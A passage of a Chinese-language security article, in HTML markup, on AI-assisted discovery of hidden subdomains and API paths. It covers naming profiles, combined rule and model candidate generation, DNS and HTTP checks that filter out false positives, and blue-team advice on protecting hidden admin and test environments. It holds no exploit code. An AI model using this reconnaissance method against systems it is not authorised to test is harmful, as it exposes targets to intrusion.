data-nest-level="8"><span leaf="" data-nest-level="9">大小写</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n641" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 619.578125px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">Usr</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">usr</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">USER</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">、驼峰</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n643" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 125.4375px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">版本</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n644" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 619.578125px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">/v1/</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">/v2/</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">api1</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">、日期版本</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n646" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 125.4375px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">实体</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n647" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 619.578125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">user、usr、member、account、adm</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n649" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 125.4375px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">动作</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n650" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 619.578125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">create、crt、save、add、rmv、disable</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n652" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 125.4375px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">环境</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n653" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 619.578125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">dev、stage、uat、pre、prod、dr</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n655" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 125.4375px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">地域</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n656" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 619.578125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">cn、sh、bj、use1、euw1、机房简称</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n658" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 125.4375px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">编号</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n659" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 619.578125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">是否补零、位数、起始值、集群前缀</span></span></span></td></tr></tbody></table></figure><p cid="n660" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">画像能被人复核，后续候选才知道是怎么来的。</span></span></p><h3 cid="n661" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第三步：规则生成和模型生成一起跑</span></span></h3><p cid="n662" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">确定性强的交给规则：数字范围、大小写、固定分隔符、已知地域表。需要语义的交给模型：</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">crt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 对应的同族动作、内部项目简称、产品和业务实体的邻近关系。</span></span></p><p cid="n663" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">每个候选同时保留理由，比如&#34;同一目标出现过 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">use1</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 和 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">use2</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">&#34;&#34;由 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr_crt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 推断 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr_rmv</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">&#34;&#34;来自通用词，不含目标证据&#34;。这样后续可以按证据强弱排序，而不是把所有输出摊平成一份新的大字典。</span></span></p><h3 cid="n664" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第四步：先排除假阳性，再谈命中</span></span></h3><p cid="n665" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">子域验证至少做：随机不存在标签识别 wildcard DNS、A/AAAA/CNAME 和证书/SNI 对照、HTTP 标题/正文哈希/重定向/默认页聚类、确认 CNAME 指向的第三方服务是否仍在授权范围。</span></span></p><p cid="n666" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">路径验证至少做：随机路径作为 soft 404 基线、状态码/响应长度/正文相似度/框架错误类型对比、405 和 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Allow</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> Header 与普通 404 的差异、登录跳转/统一网关页/WAF 拦截页单独聚类、默认先用无副作用方法。</span></span></p><h3 cid="n667" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第五步：把真实反馈喂回去，而不是让模型继续脑补</span></span></h3><p cid="n668" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr_rmv</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 与随机路径响应相同 → 降权；返回 405 而随机路径返回 Controller Not Found → 升权；同一词根下多个候选都命中同一套框架错误 → 围绕这个词根扩写下一轮。</span></span></p><p cid="n669" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">完整闭环应该是：</span></span></p><pre spellcheck="false" lang="text" cid="n670" mdtype="fences" style="white-space:pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">真实种子</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">  → 命名画像</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">  → 规则 + AI 生成少量候选</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">  → DNS / HTTP / 响应差异验证</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">  → 有效模式回灌</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">  → 下一轮更窄的候选</span></span></pre><p cid="n671" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf="" data-nest-level="6">真正提高效率的是搜索空间不断收敛，而不是让 AI 无限发散。</span></span></strong></span></p><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n673" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">蓝队真正要防的，不是&#34;AI 扫描器&#34;四个字</span></span></h2><p cid="n674" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">如果一个测试环境只靠名字难猜来隐藏，AI 只是让这种脆弱设计更快暴露。</span></span></p><h3 cid="n675" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">1. 隐藏后台必须按已暴露资产防护</span></span></h3><p cid="n676" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">dev-admin-use1-cx02</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 再怪，也不能代替身份认证、网络隔离和逐接口授权。管理面、预发、测试、CI/CD、监控和运维接口应进入统一资产台账，放在 VPN、身份代理、独立管理网络或明确访问控制后面。</span></span></p><h3 cid="n677" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">2. 别让错误页变成路由字典</span></span></h3><p cid="n678" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 